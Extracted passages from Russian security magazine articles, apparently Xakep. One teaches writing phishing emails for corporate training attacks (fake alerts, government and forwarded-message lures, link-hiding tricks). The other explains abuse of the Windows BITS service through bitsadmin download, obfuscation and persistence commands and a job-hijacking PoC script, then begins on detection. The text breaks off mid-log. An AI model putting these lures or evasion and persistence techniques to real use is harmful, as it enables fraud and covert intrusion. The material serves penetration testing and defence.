услуг на  вашу МФО, а  также в  соответствии с Базовыми правилами
защиты прав и  интересов малого и  среднего бизнеса, получателей
финансовых услуг, СРО Союз «Микрофинансовый Альянс» назначили
вам внеплановую выездную проверку на  03.07.2020. Этим письмом
направляем вам Запрос № 222-1\20 от 23.06.2021 на представление
документов (информации). Просьба донести до  ведома руководства
и  быть готовым представить все необходимые документы
к 03.07.2021.

Проверка проводится в  соответствии со  ст. 4, 5  Федерального
закона от 13 июля 2015 года №  223-ФЗ «О саморегулируемых орга-
низациях в  сфере финансового рынка», Федеральным законом
от  2  июля  2010  года №  151-ФЗ «О микрофинансовой деятельности
и  микрофинансовых организациях», Указанием Банка России
от  3  февраля  2016  года №  4278-У «О требованиях к  содержанию
базового стандарта защиты прав и  интересов физических и  юри-
дических лиц — получателей финансовых услуг, оказываемых членами
саморегулируемых организаций в сфере финансового рынка, объеди-
няющих микрофинансовые организации».

С уважением,

Руководитель рабочей группы Контрольного Комитета

Союза «Микрофинансовый Альянс „Институты развития малого
и среднего бизнеса“»

Коленская Мария Юрьевна

Рассылалось это дело с адреса , а настоящий адрес

упомянутого в письме союза — .

info@alliance-mfo.pw
info@alliance-mfo.ru

НЕУДАЧНЫЕ ПОПЫТКИ АВТОРИЗАЦИИ

По аналогии со скриптами мошеннических кол‑центров, сотрудники которых
звонят и сообщают, что с твоих счетов пытаются снять деньги, сочиняем свое
электронное письмо для проверки бдительности пользователей:

«

»

Уважаемый пользователь!
Нами зафиксирован вход в вашу учетную запись.
Место: Швеция
IP: 165.231.143.161
Если это были не вы, срочно смените пароль (тут ссылка).
Внимание: письмо создано системой предотвращения вторжений,

отвечать на него не нужно.

Если в тексте ссылки присутствует символ «/», вместо обычного слеша нужно
указывать символ Unicode U+0B75 («дробь одна шестнадцатая языка ория»).
И ссылку лучше вставить неактивной, в виде текста, чтобы на нее нельзя было
навести курсор и увидеть, куда она на самом деле ведет. От пользователя же
потребуется скопировать ссылку и вставить ее в браузер.

УВЕДОМЛЕНИЕ

А вот пример письма с уведомлением — этот сценарий актуален для банков‐
ской сферы.

Пример письма с уведомлением

ЧТО ВЫ ДЕЛАЕТЕ В БРАЗИЛИИ?

Пишем сообщение:

« »
Мы заметили, что вы зашли в ваш почтовый ящик из необычного мес-
та: местоположение — Бразилия. Если вы не входили в свой аккаунт,
отмените вход по ссылке.

По ссылке из  письма пользователь попадает на  страницу с  предложением
сменить пароль, поскольку похоже, что его взломали. Одно из  полей фор‐
мы  — старый пароль, и  есть поле для  нового пароля. Для  пущей прав‐
доподобности можно написать мини‑инструкцию по  составлению нового
пароля (короткую, в одно предложение).

КОНТЕКСТ: ЗАПРОСЫ

Запрашивать можно коммерческое предложение, смету, счет, декларацию,
оплату, договор, (не)конфиденциальную информацию. Например, «Вышлите,
пожалуйста, КП. Смету прилагаю» или  «Просьба выслать акт сверки с  ООО
«...». Ранее оплаченные вами счета во вложении».

КОНТЕКСТ: ВОПРОСЫ

Этот вариант отлично подходит для  «многоходовок», когда нужно начать
общение, или для разведки, которая ставит своей целью выяснить, проходят
ли письма первичный антиспам‑фильтр. К  тому же после ответа твой адрес
еще и в адресную книгу жертвы попадет, что усилит траст у антиспама.

Вопросы можно задавать такие:
Эта почта работает?•
Вы на связи?•
По такому‑то вопросу — это к вам?•

Продолжение статьи
→

https://www.ptsecurity.com/ru-ru/research/analytics/phishing-attacks-on-organizations-in-2022-2023/
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АНАТОМИЯ

КОРПОРАТИВНОГО

ФИШИНГА
УЧИМСЯ СОСТАВЛЯТЬ

ФИШИНГОВЫЕ ПИСЬМА ДЛЯ
ТРЕНИРОВОЧНЫХ АТАК

ВЗЛОМ 
НАЧАЛО СТАТЬИ←

ВОПРОС С ВЛОЖЕНИЕМ

Естественно, вопросы можно задавать не только для этого, но также в рамках
атаки уже в первом письме.

Пример письма с вопросом и вложением

А ЧТО ЭТО ВЫ МНЕ ОТПРАВИЛИ?

Пишем: «А что это за ссылку вы мне отправили?» Письмо представляем так,
будто это  ответ на  ранее полученное сообщение от  жертвы. В  самом этом
фейковом письме присутствует вредоносная ссылка. Расчет на  то, что жер‐
тва, заинтересовавшись, что это  она там отправила, кликнет на  ссылке
и попадет на фишинговый сайт.

КОНТЕКСТ: ОТПРАВКА

Отправлять информацию можно в  самом теле сообщения или  в виде вло‐
жения. В качестве таковой может использоваться техническое задание, ком‐
мерческое предложение, акты, счета, анкеты, опросы, требование, регламен‐
ты, приказ, правила, приглашение, благодарность (за работу, за  какое‑то
действие), уведомление, рекомендации.

Как все это  выглядит во  вложении, понятно, а  что имеется в  виду
под «отправлять информацию можно в самом теле сообщения», ведь нам же
нужно добавить туда какую‑то нагрузку?

Сам задал вопрос  — сам отвечу. В  письме мы ссылаемся на  все те же
анкеты, опросы, требования, регламенты, но отправляем ссылку на них, нап‐
ример даем ссылку на документ на корпоративном портале.

Кстати, ссылаться на  корпоративный портал можно, даже если поль‐
зователи не  знают о  его существовании или  его не  существует вовсе. Все
равно они кликают на ссылки и вводят учетные данные, проверено.

КОНТЕКСТ: ИЗМЕНЕНИЯ

В организации могут меняться регламенты, расписание, правила, кор‐
поративный портал может обзавестись новыми разделами. Можно, нап‐
ример, отправить потенциальным жертвам такое сообщение: «В связи
с  изменением регламента работы удаленных сотрудников просьба сегодня
ознакомиться с приказом во вложении». Еще один пример смотри ниже.

Пример письма с изменениями и упоминанием проекта, который знаком
получателю

В данном случае по  ссылке перешло  100% работников, открывших письмо,
из  них  30% заполнило фишинговую форму. Это  именно то, о  чем я говорил
выше: контекст решает.

КОНТЕКСТ: ЖЕЛАНИЕ

Желание получить что‑то с максимальной выгодой присуще каждому. Поэто‐
му можно написать пользователю про  экономию (скидки, акции, замена
чего‑либо альтернативным, лучшим вариантом), про  что‑то бесплатное и,
конечно, про  деньги (повышение, премия, надбавка). Вот пример такого
письма:

« »
Коллеги. В связи со сменой ассортимента продукция со склада будет
распродана среди работников предприятия по  1  руб. Дешевле про-
дать не можем в связи с требованиями законодательства.

На скриншоте ниже еще один пример из практики.

Пример письма, вызывающего желание узнать зарплату коллег

Анна Николаевна в данном случае — это настоящее имя главного бухгалтера.
Мы пишем от  имени начальника отдела по  работе с  персоналом, но  сразу
всем сотрудникам. Просто делаем вид, что ошиблись адресатом.

Эту атаку (якобы с  ошибкой в  адресате и  приложенной зарплатной
ведомостью) мы осуществляли в  одном из  банков. Что интересно, нам
дали  100  пользователей, 50  из  них месяцем ранее обучались правилам ИБ
в  учебном центре, а  50  не  обучались. В  результате попалось  60% в  обеих
группах, с разницей в два процента.

КОНТЕКСТ: «НЕПОНЯТКИ»

Выше я не  упоминал эту категорию. Люблю письма, в  которых нет призыва
к  вредоносному действию и  пользователь сам додумывает, что ему нужно
сделать.

Переписка-ссылка
В самом простом случае просто пишем получателю: «Хорошо!»  — и  встав‐
ляем ссылку, на  которой ему нужно кликнуть. Примерно так это  выглядит
в интерфейсе Яндекс‑почты.

Пример письма со ссылкой для раскрытия подробностей

После перехода по  ссылке можно просто проверять, что у  получателя
за  устройство, а  можно имитировать разлогин системы, чтобы он по  новой
ввел логин и  пароль, но  только теперь на  специально подготовленном
фишинговом сайте.

Одинокий файл
Аналогично способу выше, отправляем файл во  вложении, а  в теле письма
не пишем вообще ничего. Только тема письма и файл. Тему тоже лучше выб‐
рать нейтральную, но  чтобы было понятно, что это  не совсем спам. Нап‐
ример, там можно указать название организации пользователя или название
подразделения (скажем, «В отдел маркетинга»).

Усиление контекста: эмоции
Усиление контекста  — это  просто добавка в  виде одного предложения
или упоминание усилителя в теме письма. Мы придумали повод, по которому
пишем пользователю, а  теперь нужно «дожать» его. Какую эмоцию мы
вызываем своим сообщением или с какой эмоцией пишем?

 (к чему/кому‑либо). Например, подбираем сотрудника,

который в  отпуске, и  пишем: «Отправляю оставшиеся документы. Меня
уволили, в отпуск пошла, и сказали, с последующим увольнением. Но всё
нормально. Почта сегодня будет заблокирована, так что отвечать уже
не нужно. Желаю успехов и достижений».

• Сочувствие

 (штраф, увольнение, лишение, потеря ценностей). Самые нелюби‐

мые мною векторы. Вообще не  люблю обманывать, но  раз хакер может
такое написать, значит, и  нам нужно протестировать работников подоб‐
ным способом. Пример: «В связи с  реорганизацией опубликован пред‐
варительный список сотрудников на сокращение». Более простой пример
усиления контекста страхом: «Андрей Николаевич злой, надо срочно все
заполнить».
Представителям службы ИБ я рекомендую не слишком часто
практиковать усиление страхом. Лояльность сотрудников падает, и  как
минимум полдня у  бизнеса после такой рассылки вылетит в  трубу: все
только и будут обсуждать предстоящую реорганизацию.

• Страх

 (от начальника, клиента, партнера, близкого). Например: «Быстро

всё заполнить, и чтобы я больше такого не видел!!» Кстати, низкие эмоции
в  рамках регулярных работ по  повышению осведомленности лучше
использовать не  чаще раза в  год. Да, хакер церемониться не  будет
и напишет что угодно, но лучше не перебарщивать, если лояльность сот‐
рудников для организации важна.

• Гнев

. Тут все просто: в сообщениях про раздачу криптовалюты

можешь безумствовать, а в деловой переписке придерживайся официаль‐
ного тона деловой переписки: «Копию на sales@...ru (или support@) также
отправил. Прошу впредь таких ошибок не  допускать: (здесь вставляем
фишинговую ссылку)». Способ подходит для  сотрудников, которые
в  любой непонятной ситуации решают, что письмо относится к  другому
отделу, и отправляют сообщения туда. В этом сообщении мы делаем вид,
что уже отправили в другой отдел информацию и теперь сотрудник должен
провзаимодействовать с нашим письмом лично.

• Консерватизм

. Тут работает старое доброе любопытство. Если в теме письма
говорилось про  премии персоналу, то в  тексте можно просто вставить
ссылку якобы на  корпоративный портал и  больше вообще ничего
не писать, ни приветствия, ни подписи, ничего.

• Интерес

. Дарим какой‑то подарок или иным способом повышаем лояль‐

ность сотрудников. Например:

• Радость

«
»

В связи с  успешным закрытием года сотрудники, добирающиеся
до  места работы более  20  минут, в  первом квартале будут обес-
печены поездками на  такси за  счет организации. Для  этого нужно
заполнить анкету.

Усиление контекста: давление
Давление также работает хорошо, ведь оно тоже вызывает эмоции. Как обыч‐
но используется этот вариант усиления контекста?

Упоминаем в письме начальника или пишем от его имени.•
Просим о  помощи. Добавляем в  сообщение, например, такое: «Не мог‐
ли бы вы помочь, мне необходимо...»

•

Давим на срочность. Например: «Изучить приказ нужно сегодня до конца
рабочего дня».

•

Угрожаем негативными последствиями. Например: «Всех, кто не заполнит
анкету, обещали лишить ежегодной премии».

•

ПИСЬМА ОТ ГОСОРГАНОВ

Часто такими письмами пугают физлиц, но  способы атак на  них  — это  тема
для  отдельной книги. В  случае с  корпоративными получателями гораздо
эффективнее представляться госорганами, например так:

«
»

В рамках плановой проверки на  предмет легализации средств,
полученных преступным путем, уведомляем, что вам нужно под-
готовить документы по представленному во вложении списку.

Срок предоставления информации — 2 рабочих дня.
Росфинмониторинг

Поначалу я хотел вставить сюда список всех органов власти, но ты и сам их
сможешь загуглить. Принцип составления писем от госорганов простой:
1. Думаешь, с  каким из  органов в  списке может взаимодействовать орга‐

низация.
2. Смотришь, чем занимается этот госорган, чтобы выбрать повод для сооб‐

щения.
3. Пишешь письмо с упоминанием этого повода и прикрепляешь нагрузку —

ссылку или файл.

Не забывай, что госорганы могут не только пугать, но и предложить зарабо‐
тать.

Пример письма с запросом коммерческих предложений

СРОЧНО ОБНОВИТЕСЬ

Вот пример письма в формате «сделайте это сразу».

Письмо с контекстом срочности

Усиление контекста: ложь
Тут всё просто: чтобы усилить воздействие на получателя, используем обман.
Вся социальная инженерия  — это  по сути обман, но  тут мы дополнительно
усиливаем сообщение ложной информацией. Например, ссылаемся
на  руководителя, сообщаем, что с  ним этот вопрос обсуждался и  он якобы
отправил автора письма к нашей жертве.

Можно упомянуть в сообщении фейкового сотрудника, например помощ‐
ника заведующего производством (даже если такой должности не существу‐
ет), который якобы переправил наш запрос к жертве.

Хороший метод обмана — вставка в письмо фейковой переписки со зна‐
комыми жертве людьми в виде скриншота.

Один из  вариантов лжи  — подтасовка фактов. Например, можно разос‐
лать сотрудникам такое письмо: «В связи с тем что у нас планируется ежегод‐
ный корпоратив, посвященный празднованию Дня основания компании,
необходимо заполнить опрос». Или  такое: «В связи с  происходящим сли‐
янием/поглощением с ОАО «...», нужно сделать следующее...»

ФЕЙКОВАЯ ПЕРЕПИСКА

В письмо вставляем переписку с  сотрудником, которой не  было, и  просим
что‑то сделать. Например, так:

«

»

: Начальник КБ


: v.n.babanov@org.gov.ru

: Fwd: NDA сотрудникам

От кого
Почта
Тема

Добрый день.
Просьба ознакомиться.
С уважением,
Бабанов В. В.
АО «Альфа»
https://org.gov.ru
+7 495 777-44-11
г. Москва, Средний Овчинниковский переулок, 21
---Пересылаемое сообщение---
From: Игорь Перлов [mailto:igor.perlov@org.gov.ru]
Sent: Thursday, July 22, 2021 2:45 PM
To: Babanov V.v.Babanov@org.gov.ru
Subject: Re: NDA
Отправляю NDA, нужно сегодня довести до сотрудников.
С уважением,
Виктор Перлов

ФЕЙКОВАЯ ПЕРЕСЫЛКА

По аналогии с предыдущим примером делаем фейковую пересылку. Пишем
от  имени одного из  начальников: «Сделать сегодня», а  ниже якобы приказ
от  гендиректора, который говорит, что именно нужно сделать (перейти
по ссылке или скачать файл).

В данном случае мы не комментируем приказ гендиректора и пересылаем
сообщение как есть.

А вот еще один пример пересылки, но от имени клиента. В письме мы про‐
сим сотрудника посмотреть, что там хочет автор исходного сообщения,
а ниже якобы просьба клиента с упоминанием жертвы или жалоба, в которой
присутствует вредоносная ссылка или вложенный файл.

Усиление контекста: совпадение
Когда у  жертвы часть идентичности совпадает с  твоей вымышленной  —
лояльность растет. Часть идентичности — это признак, по которому человека
отличают от  других. Например, Андрей Иванов, рыбак, который ездит
на красной Ferrari и живет в Воркуте.

Какие части идентичности можно использовать? Тезки, однофамильцы,
профпринадлежность, политические взгляды, землячество, увлечения, учеб‐
ные заведения, воинская служба. На этом делается акцент в сообщении. Дру‐
гими словами, если пользователя зовут Андрей Иванов и  он юрист, можно
тоже представиться Андреем Петровым или юристом Сергеем Жуковым.

ВЫВОДЫ

Мы рассмотрели лишь основные методы фишинга, которые используют нас‐
тоящие злоумышленники. Эти методы можно применять во  время учебных
атак. А еще в качестве источника вдохновения можно использовать готовые
примеры фишинговых сообщений.

Если ты читаешь на английском, на сайте  тебе могут отсыпать
еще около десяти тысяч образцов ссылок и файлов, основанных на социаль‐
ной инженерии. Помимо прочего, там можно скачать вложения, которые зло‐
умышленники отправляли жертвам, и изучить образцы свежей малвари.

app.any.run

mailto:v.Babanov@org.gov.ru
https://app.any.run/
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ВЗЛОМ

Сегодня мы с тобой подробно рассмотрим
службу интеллектуальной передачи файлов
в  Windows, она же BITS (Background
Intelligent Transfer Service). Она может
не  только выполнять прямое предназна‐
чение, но  и помогать хакерам и  пентесте‐
рам оставаться незамеченными при атаках
на Windows. Заодно обсудим, как обезопа‐
сить систему от проникновения.

BITS — это сервис, предназначенный для загрузки и отправки файлов на сер‐
веры HTTP и SMB. Ключевые возможности BITS:

автоматическое возобновление передачи файлов при  потере сетевого
соединения или ошибке;

•

возможность менять скорость загрузки с учетом пропускной способности
сети и потребностей других приложений.

•

BITS работает с  «заданиями» (job, задача). Задание  — это  контейнер,
который содержит один или  несколько файлов для  передачи и  свойства,
определяющие, как  передавать файлы. У  каждого задания есть приоритет.
Задания с  высоким приоритетом обрабатываются быстрее, чем остальные.
При создании задачи определяется один из трех :типов

 — загрузка на локальную систему;• BG_JOB_TYPE_DOWNLOAD

 — передача на удаленный сервер;• BG_JOB_TYPE_UPLOAD

 — передача на сервер и получение файла
в ответ.

• BG_JOB_TYPE_UPLOAD_REPLY

СОСТОЯНИЯ ЗАДАЧ BITS

Задача BITS может находиться в  состоянии одного из  четырех классов:
, ,  и  , которые мы рассмотрим ниже.starting action transferred final

Начальное состояние (starting)
Жизненный цикл задания BITS начинается с  его создания. Начальное сос‐
тояние —  (задание BITS приостановлено). В этом

состоянии ты можешь добавить файлы в задание и установить его свойства.
Для  выполнения задания можем выполнить метод . Если ты решишь

выполнить задание без  файлов, оно вернет код ошибки 

и задание останется приостановленным.

BG_JOB_STATE_SUSPENDED

Resume
BG_E_EMPTY

Пользователь, который создал задание BITS, является его владельцем
(пользователь с  привилегиями администратора может 
любой задачи). Задача BITS выполняется, когда пользователь авторизован
в системе с интерактивным типом входа.

стать владельцем

Состояние действия (action)
К этому классу относятся следующие состояния:

  — задание находится в  очереди и  ждет выпол‐
нения;

• BG_JOB_STATE_QUEUED

  — служба BITS пытается подключиться
к удаленному серверу. Если соединение успешно, состояние задачи изме‐
нится на  , в  противном случае  —
на  ;

• BG_JOB_STATE_CONNECTING

BG_JOB_STATE_TRANSFERRING

BG_JOB_STATE_TRANSIENT_ERROR

 — BITS передает данные задания;• BG_JOB_STATE_TRANSFERRING

 — произошла ошибка, после которой
передача может быть восстановлена. BITS будет пытаться выполнить
задание какое‑то время, а если оно не выполнится, то состояние изменит‐
ся на  .

• BG_JOB_STATE_TRANSIENT_ERROR

BG_JOB_STATE_ERROR

Состояние задания меняется между статусами, пока BITS не  передаст все
файлы из него. Если задача не выполнится в течение выделенного времени,
она возвращается в состояние  и начинается передача
из следующего задания.

BG_JOB_STATE_QUEUED

Состояния передачи (transferred)
Задача переходит в  состояние  (передача дан‐

ных успешно выполнена), когда файлы переданы. Дальше ты должен либо
отменить, либо завершить работу этого задания.

BG_JOB_STATE_TRANSFERRED

Для успешного выполнения должны быть переданы все файлы, иначе
задание завершится ошибкой —  (произошла неиспра‐

вимая ошибка, служба не может передать файл).

BG_JOB_STATE_ERROR

Окончательные состояния (final)
Как только задача перейдет в  окончательное состояние, ты не  сможешь ее
изменить. Задание будет в  состоянии  (под‐

тверждает успешное выполнение задания) после вызова , и все заг‐
руженные файлы будут сохранены. При вызове метода  операционная

система удалит загруженные файлы и  состояние задачи перейдет
в   (задание отменено, удалено из  очереди).
Задания, которые не  перейдут в  окончательное состояние, будут автомати‐
чески отменены.

BG_JOB_STATE_ACKNOWLEDGED
Complete

Cancel

BG_JOB_STATE_CANCELLED

Как менять состояния задач
Пока задание не находится в одном из окончательных состояний, ты можешь
вызвать любой из четырех методов для его изменения:

  — используется для  отмены задания. Передача файлов будет

отменена, а загруженные файлы — удалены.

• Cancel

  — загруженные файлы будут сохранены, а  неполностью
переданные — удалены.

• Complete

  — используется для  перевода задания из  состояния

. Задания в  состоянии
 или   будут

заново выполнены.

• Resume

BG_JOB_STATE_SUSPENDED

BG_JOB_STATE_ERROR BG_JOB_STATE_TRANSIENT_ERROR

  — используется для  перевода задания в  состояние
. Задание будет находиться в этом состоянии

до вызова метода .

• Suspend

BG_JOB_STATE_SUSPENDED

Resume

ЭКСПЛУАТАЦИЯ BITS

Для работы с  BITS ты можешь использовать утилиту bitsadmin.exe, которая
позволяет управлять задачами BITS, либо командлеты PowerShel

После краткого знакомства с  BITS у  тебя уже должны появиться идеи,
как  можно эксплуатировать эту службу. В  матрице MITRE ATT&CK BITS упо‐
минается в нескольких тактиках:

 ( ) — T1197 BITS Jobs;• закрепление Defense Evasion

 ( )  — T1197 BITS
Jobs;

• обход средств защиты и  обнаружения Persistence

 ( )  — T1105 Ingress Tool

Transfer.

• контроль и  управление Command and  Control

WARNING

Статья имеет ознакомительный характер и пред‐
назначена для  специалистов по  безопасности,
проводящих тестирование в  рамках контракта.
Автор и  редакция не  несут ответственности
за  любой вред, причиненный с  применением
изложенной информации. Распространение вре‐
доносных программ, нарушение работы систем
и  нарушение тайны переписки преследуются
по закону.

BITS может позволить хакерам спрятать создание процесса и  сетевого
соединения за своей службой. Впрочем, некоторые EDR и EPP уже обнаружи‐
вают такие попытки.

Службу можно запустить так:

C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS


При пентесте BITS может пригодиться для разных задач:
запустить пейлоад или скачать файл, используя процесс службы BITS;•
загрузить файл с удаленного ресурса;•
отправить файл на удаленный ресурс;•
скопировать файл локально;•
закрепиться в системе.•

Действия, описанные ниже, также можно выполнить с помощью командлетов
PowerShell:

Start-BitsTransfer;•
Get-BitsTransfef;•
Suspend-BitsTransfer;•
Resume-BitsTransfer;•
Complete-BitsTransfer;•
Remove-BitsTransfer.•

Подробно останавливаться на них мы не будем.

Создаем задачу для загрузки файла или локального копирования
Для создания задачи, которая будет загружать файл с  удаленного ресурса,
можем выполнить команды ниже.

# Создаем задачу с именем hacks

bitsadmin /create hacks


# Добавляем файл для загрузки

bitsadmin /addfile hacks http://example.com/file.txt C:\users\d3f0x0\
Downloads\test.txt


# А если для копирования, то

bitsadmin /addfile hacks C:\Users\qwer\1.txt c:\users\qwer\qwer11.
qwer1


# Вызываем задачу, используя метод resume

bitsadmin /resume hacks


# Подтверждаем выполнение задачи

bitsadmin /complete hacks


Как ты думаешь, что тебя ждет на  этапе добавления локального файла
в  задачу для  копирования? Правильно, Windows Defender начнет ругаться
и выдавать сообщение .Trojan:Win32/BITSAbuse.AS

Можем по‑быстрому подобрать количество кавычек для  обфускации
команды и получим

b"it"sa"dm"in /addfile hacks c:\Users\qwer\1.txt c:\users\qwer\
qwer11.qwer1


Если запустить эту команду, файл все же добавится в  задачу, а  детект сра‐
ботает уже после этого.

WWW

Подробнее про обфускацию cmd/bat можешь 
 в блоге Red Team Notes.

по‐
читать

Выполняем нагрузку и закрепляемся в системе
В отличие от  предыдущего способа, у  нас добавляется использование
команды для настройки уведомления .bitsadmin /SetNotifyCmdLine

# Создаем задачу с именем hacks

bitsadmin /create hacks


# Добавляем файл для загрузки

bitsadmin /addfile hacks "C:\Users\qwer\1.txt" c:\users\qwer\qwer11.
qwer1


# Установка уведомления, запуск c:\windows\system32\cmd.exe

bitsadmin /SetNotifyCmdLine hacks c:\windows\system32\cmd.exe NULL


# Вызываем задачу, используя метод resume

bitsadmin /resume hacks


# Подтверждаем выполнение задачи

bitsadmin /complete hacks


Давай познакомимся с механизмом уведомлений подробнее. Мы уже знаем,
что для  его установки используется аргумент . Остался
вопрос, когда сработает уведомление. Обратимся к документации и увидим,
что определены :

SetNotifyCmdLine

четыре типа уведомлений
 — генерирует событие, когда все файлы в задании были переданы (ста‐

тус );
• 1

BG_JOB_STATE_TRANSFERRED

  — генерирует событие при  возникновении ошибки (статус

);

• 2

BG_JOB_STATE_ERROR

  — генерирует событие, когда все файлы были переданы или  возникла

ошибка (по умолчанию статус 
и  );

• 3

BG_JOB_STATE_TRANSFERRED

BG_JOB_STATE_ERROR

 — отключает уведомление.• 4

Для установки типа уведомлений можешь использовать команду

bitsadmin /SETNOTIFYFLAGS hacks 1


Установленная для уведомления команда будет дочерним процессом службы
BITS. Но  нужно помнить, что создание дочерних процессов от 
не менее подозрительно, чем запуск утилит для работы с BITS. Тем не менее
такой метод может позволить обойти некоторые поведенческие модули.

svchost.exe

Куда более редкое применение BITS  — это  закрепление в  системе.
Для этого можно использовать все те же команды, что я приводил выше. Дело
в том, что, если вызванная в рамках уведомления программа 

(cancel) или   (complete) задание, BITS снова ее вызовет
по  истечении минимальной задержки (по умолчанию это  600  секунд).
Для изменения значения можем использовать такую команду:

не отменила

не завершила

bitsadmin /setminretrydelay hacks 35


После этого BITS будет вызывать уведомление каждые 35 секунд, пока задача
не перейдет в финальное состояние.

Возникает вопрос: как долго может работать такая задача? Для этого есть
параметр , значение которого  — 1  209  600  секунд

(14 дней). Изменить значение можешь такой командой:

NoProgressTimeout

bitsadmin /setnoprogresstimeout myDownloadJob 20


В результате ты сможешь закрепиться в системе, если не выполнишь команду
 или  .bitsadmin /complete hacks bitsadmin /cancel hacks

Создаем задачу с именем :hacks

bitsadmin /create hacks


Добавляем файл для загрузки:

bitsadmin /addfile hacks "C:\Users\qwer\1.txt" c:\users\qwer\qwer11.
qwer1


Установим уведомление и запустим :cmd.exe

bitsadmin /SetNotifyCmdLine hacks c:\windows\system32\cmd.exe NULL


Вызываем задачу, используя метод resume:

bitsadmin /resume hacks


И конечно, не подтверждаем или не отменяем выполнение задачи.

BITS Tamparing
Пользователь может просмотреть список своих задач, а локальный админис‐
тратор — список задач всех пользователей.

Просмотр своих задач:

bitsadmin /list /verbose


Просмотр задач всех пользователей:

bitsadmin /list /verbose /allusers


Для приостановки задачи можем выполнить команду 

. Помнишь, что мы можем менять свойства задачи в  состоянии
?

bitsadmin /suspend 
hacks
BG_JOB_STATE_SUSPENDED

Думаю, ты уже увидел здесь возможность скрывать свои действия
за легитимными задачами. Мы можем добавить файлы к задаче для загрузки
или  установить уведомление, если она создана в  контексте текущего поль‐
зователя.

Теперь ответим на несколько вопросов:
Как много программ создают задачи BITS?•
Как часто они это делают?•
От имени какой учетной записи?•

Обратимся к журналу событий:

Microsoft-Windows-Bits-Client/Operational


Подробнее мы его рассмотрим позже. Сейчас нас интересует только
событие с   (создание задачи).EventID = 3

INFO

О том, как работать с журналами EVTX из коман‐
дной строки, можешь почитать в 
на «Хабрахабре».

моей статье

Давай отфильтруем события и сделаем группировку, используя PowerShell:

Get-WinEvent @{logname="Microsoft-Windows-Bits-Client/Operational";ID
=3} | Group-Object {$_.Properties[2].value},{$_.Properties[3].value} 
| Select-Object Name, Count | Format-List

Результат работы команды представлен на скриншоте ниже.

Результат работы команды

Продолжение статьи
→

https://learn.microsoft.com/en-us/windows/desktop/api/Bits/ne-bits-bg_job_type
https://learn.microsoft.com/en-us/windows/desktop/api/Bits/nf-bits-ibackgroundcopyjob-takeownership
https://learn.microsoft.com/en-us/windows/desktop/api/Bits/nf-bits-ibackgroundcopyjob-cancel
https://learn.microsoft.com/en-us/windows/desktop/api/Bits/nf-bits-ibackgroundcopyjob-complete
https://learn.microsoft.com/en-us/windows/desktop/api/Bits/nf-bits-ibackgroundcopyjob-resume
https://learn.microsoft.com/en-us/windows/desktop/api/Bits/nf-bits-ibackgroundcopyjob-suspend
https://attack.mitre.org/tactics/TA0005
https://attack.mitre.org/tactics/TA0003
https://attack.mitre.org/tactics/TA0011
https://www.ired.team/offensive-security/defense-evasion/commandline-obfusaction
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setnotifyflags
https://habr.com/ru/articles/736512/


КЛОЧКИ

ПО ЗАКОУЛОЧКАМ
КАК УСТРОЕНА СЛУЖБА BITS

В WINDOWS, И КАК ЕЕ АТАКУЮТ

ВЗЛОМ 
НАЧАЛО СТАТЬИ←

Учти, что хост, для  которого приведена статистика, не  в домене и  активен
менее недели. Как  видишь, шанс для  нашей шалости есть. В  качестве 
можем использовать скрипт, приведенный ниже.

PoC

@echo off
setlocal

REM Замените на URL вашего файла
 set "filePath=http://example.com/file.zip"

REM Замените на путь назначения
 set "destinationPath=C:\users\qwer\file.zip"

 set "taskName="

:checkTask
REM Получение имени первой задачи BITS

    
  

for /f "tokens=1" %%i in ('bitsadmin /list  ^| findstr /i "TRANSFER"'
) do (
    set "taskName=%%i"
    goto :taskFound
)

echo Задачи BITS не найдены. Ожидание 5
секунд перед повторной проверкой...


  timeout /t 5 >nul
 goto checkTask

:taskFound
echo Найдено имя задачи: %taskName%

REM Перевод задачи в статус suspend
...
echo Приостановка задачи "%taskName%"

 bitsadmin /suspend "%taskName%"

REM Добавление файла для загрузки
echo Добавление файла "%filePath%" для загрузки...


   bitsadmin /addfile "%taskName%" "%filePath%" "%destinationPath%"

REM Возобновление задачи
...
echo Возобновление задачи "%taskName%"

 bitsadmin /resume "%taskName%"

echo Готово.

endlocal

Скрипт проверяет, выполняется ли задача, переводит ее в  состояние
, добавляет файл и вызывает ее.BG_JOB_STATE_SUSPENDED

При выполнении скрипта мониторинг, если он настроен, скажет тебе спа‐
сибо, так как  выполняемые команды породят огромное количество событий
создания процессов . Но  не стоит отчаиваться, мы можем

написать исполняемый файл, который будет использовать COM-интерфейс
для работы с BITS.

bitsadmin.exe

Скрытие в HTTP-трафике
При подключении к  HTTP-серверу BITS использует заголовок 

, это  может позволить синей команде тебя
обнаружить. Для  обнаружения осталось создать профиль с  доверенными
серверами, и  дело в  шляпе, но  разработчики BITS позаботились о  воз‐
можности задать кастомные HTTP-заголовки. Изменить User-Agent можем
такой командой:

User-Agent: 
MicrosoftBITS/<версия bits>

bitsadmin /setcustomheaders hacks User-Agent:hacker


ОБНАРУЖЕНИЕ

Дальше мы рассмотрим несколько техник, опираясь на следующие юзкейсы:
использование аргументов bitsadmin.exe;•
использование командлетов PowerShell;•
создание временного файла;•
события журнала BITS;•
создание задачи процессом не из вайтлиста;•
загрузка модуля в память процесса;•
события Windows Defender.•

Для обнаружения будем писать правила на языке .eXtraction and Processing

Журнал подсистемы BITS
Журнал подсистемы BITS мы рассмотрим подробнее, чем остальные, он рас‐
положен вот по такому пути:

Microsoft-Windows-Bits-Client/Operational
Нам интересны эти события:
3 — создана новая задача BITS;•
59 — задача BITS запущена;•
60 — задача BITS остановлена;•
4 — задача BITS завершена.•

К сожалению, нет события «уведомление создано». При  успешном выпол‐
нении задачи мы можем увидеть в  журнале такую последовательность
событий: 3 → 59 → 60 → 4.

Пример события: создана новая задача BITS
 <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">

   <System>
  

 
       <Provider Name="**Microsoft-Windows-Bits-Client**" Guid="**{
EF1CC15B-46C1-414E-BB95-E76B077BD51E}**" />

3       <EventID> </EventID>
2       <Version> </Version>

4       <Level> </Level>
0       <Task> </Task>
0       <Opcode> </Opcode>

       <Keywords>0x4000000000000000</Keywords>
         <TimeCreated SystemTime="**2024-07-29T01:24:56.717754300Z**"

/>
1784       <EventRecordID> </EventRecordID>

        <Correlation />
          <Execution ProcessID="**5156**" ThreadID="**4240**" />

       <Channel>Microsoft-Windows-Bits-Client/Operational</Channel>
       <Computer>DESKTOP-5SG4NV1</Computer>

         <Security UserID="**S-1-5-18**" />
   </System>
   <EventData>

        <Data Name="**jobTitle**">C:\Users\qwer\AppData\Local\Temp\{
